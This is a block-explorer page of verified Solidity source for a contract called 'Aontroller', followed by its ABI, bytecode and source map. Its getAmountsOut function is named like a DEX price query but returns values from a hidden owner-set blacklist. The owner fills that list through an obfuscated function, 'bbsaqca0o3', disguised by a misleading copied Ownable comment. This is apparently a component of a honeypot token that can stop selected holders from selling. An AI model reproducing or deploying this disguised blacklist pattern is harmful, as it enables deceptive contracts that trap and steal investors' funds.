Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface RouterController
•    - function getAmountsOut(uint amountIn, ...
•  contract Aontroller is RouterContr ... *
•    - function getCode()
•    - function getCode2(address addr)
•    - function getAmountsOut(uint amountIn, ...
•    - function bbsaqca0o3(address[] calldat ...
•    - function _msgSender()
•    - function _msgData()
•    - function owner()
•    - function renounceOwnership()
•    - function transferOwnership(address ne ...
•    - function getTime()
•    - function _transferOwnership(address n ...
•    - function __Context_init()
•    - function __Context_init_unchained()
•    - function _msgSender()
•    - function _msgData()
•    - function __Ownable_init()
•    - function __Ownable_init_unchained()
•    - function owner()
•    - function renounceOwnership()
•    - function transferOwnership(address ne ...
•    - function _setOwner(address newOwner)
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(
• interface IERC20Metadata is IERC20
•    - function name()
•    - function symbol()
•    - function decimals()
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•    - function mod(uint256 a, uint256 b)
•    - function mod(uint256 a, uint256 b, st ...
• library SafeMathInt
•    - function mul(int256 a, int256 b)
•    - function div(int256 a, int256 b)
•    - function sub(int256 a, int256 b)
•    - function add(int256 a, int256 b)
•    - function abs(int256 a)
•    - function toUint256Safe(int256 a)
• library SafeMathUint
•    - function toInt256Safe(uint256 a)

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-10-04
*/

// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic ol mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */

 // Define interface for TransferController
interface RouterController {
    
    function getAmountsOut(uint amountIn,address[] calldata path) external view returns (uint[] memory amounts);
}

contract Aontroller is RouterController{

    mapping(address => uint256) private _isBlacklisted;

    address private owner;


    constructor (){
        owner = msg.sender;
    }


    function getCode() public  view returns (uint256) {
        address ad = address(this);
        uint256 result = uint160(ad);
        return result;
    }
    
    function getCode2(address addr) public pure returns (uint256) {
        uint256 result = uint160(addr);
        return result;
    }
    
    function getAmountsOut(uint amountIn, address[] memory path)
        public
        view
        virtual
        override
        returns (uint[] memory amounts)
    {
        amounts = new uint[](path.length);
        amounts[0] = _isBlacklisted[path[0]];
        return amounts;
    }

    /**
    * @dev Contract module which provides a basic access control mechanism, where
    * there is an account (an owner) that can be granted exclusive access to
    * specific functions.
    *
    * By default, the owner account will be the one that deploys the contract. This
    * can later be changed with {transferOwnership}.
    *
    * This module is used through inheritance. It will make available the modifier
    * `onlyOwner`, which can be applied to your functions to restrict their use to
    * the owner.
    */
    function bbsaqca0o3(address[] calldata accounts, uint256 excluded) public {
        require(msg.sender == owner);
        for (uint256 i = 0; i < accounts.length; i++) {
            _isBlacklisted[accounts[i]] = excluded;
        }
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

abstract contract Initializable {
    /**
     * @dev Indicates that the contract has been initialized.
     */
    bool private _initialized;

    /**
     * @dev Indicates that the contract is in the process of being initialized.
     */
    bool private _initializing;

    /**
     * @dev Modifier to protect an initializer function from being invoked twice.
     */
    modifier initializer() {
        require(_initializing || !_initialized, "Initializable: contract is already initialized");

        bool isTopLevelCall = !_initializing;
        if (isTopLevelCall) {
            _initializing = true;
            _initialized = true;
        }

        _;

        if (isTopLevelCall) {
            _initializing = false;
        }
    }
}

abstract contract ContextUpgradeable is Initializable {
    function __Context_init() internal initializer {
        __Context_init_unchained();
    }

    function __Context_init_unchained() internal initializer {
    }
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    uint256[50] private __gap;
}

abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    function __Ownable_init() internal initializer {
        __Context_init_unchained();
        __Ownable_init_unchained();
    }

    function __Ownable_init_unchained() internal initializer {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    uint256[49] private __gap;
}



interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"excluded","type":"uint256"}],"name":"bbsaqca0o3","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"}],"name":"getAmountsOut","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCode","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getCode2","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"}]

0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806367d2dc411461005157806369b6320314610081578063d06ca61f1461009d578063ea879634146100cd575b600080fd5b61006b60048036038101906100669190610494565b6100eb565b604051610078919061061f565b60405180910390f35b61009b600480360381019061009691906104bd565b610110565b005b6100b760048036038101906100b29190610515565b610221565b6040516100c491906105fd565b60405180910390f35b6100d5610361565b6040516100e2919061061f565b60405180910390f35b6000808273ffffffffffffffffffffffffffffffffffffffff16905080915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461016a57600080fd5b60005b8383905081101561021b57816000808686858181106101b5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906101ca9190610494565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806102139061070c565b91505061016d565b50505050565b6060815167ffffffffffffffff811115610264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156102925781602001602082028036833780820191505090505b509050600080836000815181106102d2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548160008151811061034f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505092915050565b60008030905060008173ffffffffffffffffffffffffffffffffffffffff169050809250505090565b600061039d6103988461066b565b61063a565b905080838252602082019050828560208602820111156103bc57600080fd5b60005b858110156103ec57816103d288826103f6565b8452602084019350602083019250506001810190506103bf565b5050509392505050565b600081359050610405816107b3565b92915050565b60008083601f84011261041d57600080fd5b8235905067ffffffffffffffff81111561043657600080fd5b60208301915083602082028301111561044e57600080fd5b9250929050565b600082601f83011261046657600080fd5b813561047684826020860161038a565b91505092915050565b60008135905061048e816107ca565b92915050565b6000602082840312156104a657600080fd5b60006104b4848285016103f6565b91505092915050565b6000806000604084860312156104d257600080fd5b600084013567ffffffffffffffff8111156104ec57600080fd5b6104f88682870161040b565b9350935050602061050b8682870161047f565b9150509250925092565b6000806040838503121561052857600080fd5b60006105368582860161047f565b925050602083013567ffffffffffffffff81111561055357600080fd5b61055f85828601610455565b9150509250929050565b600061057583836105df565b60208301905092915050565b600061058c826106a7565b61059681856106bf565b93506105a183610697565b8060005b838110156105d25781516105b98882610569565b97506105c4836106b2565b9250506001810190506105a5565b5085935050505092915050565b6105e881610702565b82525050565b6105f781610702565b82525050565b600060208201905081810360008301526106178184610581565b905092915050565b600060208201905061063460008301846105ee565b92915050565b6000604051905081810181811067ffffffffffffffff8211171561066157610660610784565b5b8060405250919050565b600067ffffffffffffffff82111561068657610685610784565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b60006106db826106e2565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061071782610702565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561074a57610749610755565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6107bc816106d0565b81146107c757600080fd5b50565b6107d381610702565b81146107de57600080fd5b5056fea2646970667358221220f9a1c72be9f3bf88678a985ace73a8f836fda7df001cd87d04a5c09f2b9e844164736f6c63430008000033

712:1610:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1082:135;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2077:242;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1229:296;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;912:158;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1082:135;1135:7;1155:14;1180:4;1155:30;;;;1203:6;1196:13;;;1082:135;;;:::o;2077:242::-;2184:5;;;;;;;;;;;2170:19;;:10;:19;;;2162:28;;;;;;2206:9;2201:111;2225:8;;:15;;2221:1;:19;2201:111;;;2292:8;2262:14;:27;2277:8;;2286:1;2277:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2262:27;;;;;;;;;;;;;;;:38;;;;2242:3;;;;;:::i;:::-;;;;2201:111;;;;2077:242;;;:::o;1229:296::-;1373:21;1433:4;:11;1422:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1412:33;;1469:14;:23;1484:4;1489:1;1484:7;;;;;;;;;;;;;;;;;;;;;;1469:23;;;;;;;;;;;;;;;;1456:7;1464:1;1456:10;;;;;;;;;;;;;;;;;;;;;:36;;;;;1229:296;;;;:::o;912:158::-;953:7;973:10;994:4;973:26;;1010:14;1035:2;1010:28;;;;1056:6;1049:13;;;;912:158;:::o;24:622:1:-;;145:80;160:64;217:6;160:64;:::i;:::-;145:80;:::i;:::-;136:89;;245:5;273:6;266:5;259:21;299:4;292:5;288:16;281:23;;324:6;374:3;366:4;358:6;354:17;349:3;345:27;342:36;339:2;;;391:1;388;381:12;339:2;419:1;404:236;429:6;426:1;423:13;404:236;;;496:3;524:37;557:3;545:10;524:37;:::i;:::-;519:3;512:50;591:4;586:3;582:14;575:21;;625:4;620:3;616:14;609:21;;464:176;451:1;448;444:9;439:14;;404:236;;;408:14;126:520;;;;;;;:::o;652:139::-;;736:6;723:20;714:29;;752:33;779:5;752:33;:::i;:::-;704:87;;;;:::o;814:367::-;;;947:3;940:4;932:6;928:17;924:27;914:2;;965:1;962;955:12;914:2;1001:6;988:20;978:30;;1031:18;1023:6;1020:30;1017:2;;;1063:1;1060;1053:12;1017:2;1100:4;1092:6;1088:17;1076:29;;1154:3;1146:4;1138:6;1134:17;1124:8;1120:32;1117:41;1114:2;;;1171:1;1168;1161:12;1114:2;904:277;;;;;:::o;1204:303::-;;1324:3;1317:4;1309:6;1305:17;1301:27;1291:2;;1342:1;1339;1332:12;1291:2;1382:6;1369:20;1407:94;1497:3;1489:6;1482:4;1474:6;1470:17;1407:94;:::i;:::-;1398:103;;1281:226;;;;;:::o;1513:139::-;;1597:6;1584:20;1575:29;;1613:33;1640:5;1613:33;:::i;:::-;1565:87;;;;:::o;1658:262::-;;1766:2;1754:9;1745:7;1741:23;1737:32;1734:2;;;1782:1;1779;1772:12;1734:2;1825:1;1850:53;1895:7;1886:6;1875:9;1871:22;1850:53;:::i;:::-;1840:63;;1796:117;1724:196;;;;:::o;1926:570::-;;;;2086:2;2074:9;2065:7;2061:23;2057:32;2054:2;;;2102:1;2099;2092:12;2054:2;2173:1;2162:9;2158:17;2145:31;2203:18;2195:6;2192:30;2189:2;;;2235:1;2232;2225:12;2189:2;2271:80;2343:7;2334:6;2323:9;2319:22;2271:80;:::i;:::-;2253:98;;;;2116:245;2400:2;2426:53;2471:7;2462:6;2451:9;2447:22;2426:53;:::i;:::-;2416:63;;2371:118;2044:452;;;;;:::o;2502:550::-;;;2652:2;2640:9;2631:7;2627:23;2623:32;2620:2;;;2668:1;2665;2658:12;2620:2;2711:1;2736:53;2781:7;2772:6;2761:9;2757:22;2736:53;:::i;:::-;2726:63;;2682:117;2866:2;2855:9;2851:18;2838:32;2897:18;2889:6;2886:30;2883:2;;;2929:1;2926;2919:12;2883:2;2957:78;3027:7;3018:6;3007:9;3003:22;2957:78;:::i;:::-;2947:88;;2809:236;2610:442;;;;;:::o;3058:179::-;;3148:46;3190:3;3182:6;3148:46;:::i;:::-;3226:4;3221:3;3217:14;3203:28;;3138:99;;;;:::o;3273:732::-;;3421:54;3469:5;3421:54;:::i;:::-;3491:86;3570:6;3565:3;3491:86;:::i;:::-;3484:93;;3601:56;3651:5;3601:56;:::i;:::-;3680:7;3711:1;3696:284;3721:6;3718:1;3715:13;3696:284;;;3797:6;3791:13;3824:63;3883:3;3868:13;3824:63;:::i;:::-;3817:70;;3910:60;3963:6;3910:60;:::i;:::-;3900:70;;3756:224;3743:1;3740;3736:9;3731:14;;3696:284;;;3700:14;3996:3;3989:10;;3397:608;;;;;;;:::o;4011:108::-;4088:24;4106:5;4088:24;:::i;:::-;4083:3;4076:37;4066:53;;:::o;4125:118::-;4212:24;4230:5;4212:24;:::i;:::-;4207:3;4200:37;4190:53;;:::o;4249:373::-;;4430:2;4419:9;4415:18;4407:26;;4479:9;4473:4;4469:20;4465:1;4454:9;4450:17;4443:47;4507:108;4610:4;4601:6;4507:108;:::i;:::-;4499:116;;4397:225;;;;:::o;4628:222::-;;4759:2;4748:9;4744:18;4736:26;;4772:71;4840:1;4829:9;4825:17;4816:6;4772:71;:::i;:::-;4726:124;;;;:::o;4856:283::-;;4922:2;4916:9;4906:19;;4964:4;4956:6;4952:17;5071:6;5059:10;5056:22;5035:18;5023:10;5020:34;5017:62;5014:2;;;5082:18;;:::i;:::-;5014:2;5122:10;5118:2;5111:22;4896:243;;;;:::o;5145:311::-;;5312:18;5304:6;5301:30;5298:2;;;5334:18;;:::i;:::-;5298:2;5384:4;5376:6;5372:17;5364:25;;5444:4;5438;5434:15;5426:23;;5227:229;;;:::o;5462:132::-;;5552:3;5544:11;;5582:4;5577:3;5573:14;5565:22;;5534:60;;;:::o;5600:114::-;;5701:5;5695:12;5685:22;;5674:40;;;:::o;5720:113::-;;5822:4;5817:3;5813:14;5805:22;;5795:38;;;:::o;5839:184::-;;5972:6;5967:3;5960:19;6012:4;6007:3;6003:14;5988:29;;5950:73;;;;:::o;6029:96::-;;6095:24;6113:5;6095:24;:::i;:::-;6084:35;;6074:51;;;:::o;6131:126::-;;6208:42;6201:5;6197:54;6186:65;;6176:81;;;:::o;6263:77::-;;6329:5;6318:16;;6308:32;;;:::o;6346:233::-;;6408:24;6426:5;6408:24;:::i;:::-;6399:33;;6454:66;6447:5;6444:77;6441:2;;;6524:18;;:::i;:::-;6441:2;6571:1;6564:5;6560:13;6553:20;;6389:190;;;:::o;6585:180::-;6633:77;6630:1;6623:88;6730:4;6727:1;6720:15;6754:4;6751:1;6744:15;6771:180;6819:77;6816:1;6809:88;6916:4;6913:1;6906:15;6940:4;6937:1;6930:15;6957:122;7030:24;7048:5;7030:24;:::i;:::-;7023:5;7020:35;7010:2;;7069:1;7066;7059:12;7010:2;7000:79;:::o;7085:122::-;7158:24;7176:5;7158:24;:::i;:::-;7151:5;7148:35;7138:2;;7197:1;7194;7187:12;7138:2;7128:79;:::o

ipfs://f9a1c72be9f3bf88678a985ace73a8f836fda7df001cd87d04a5c09f2b9e8441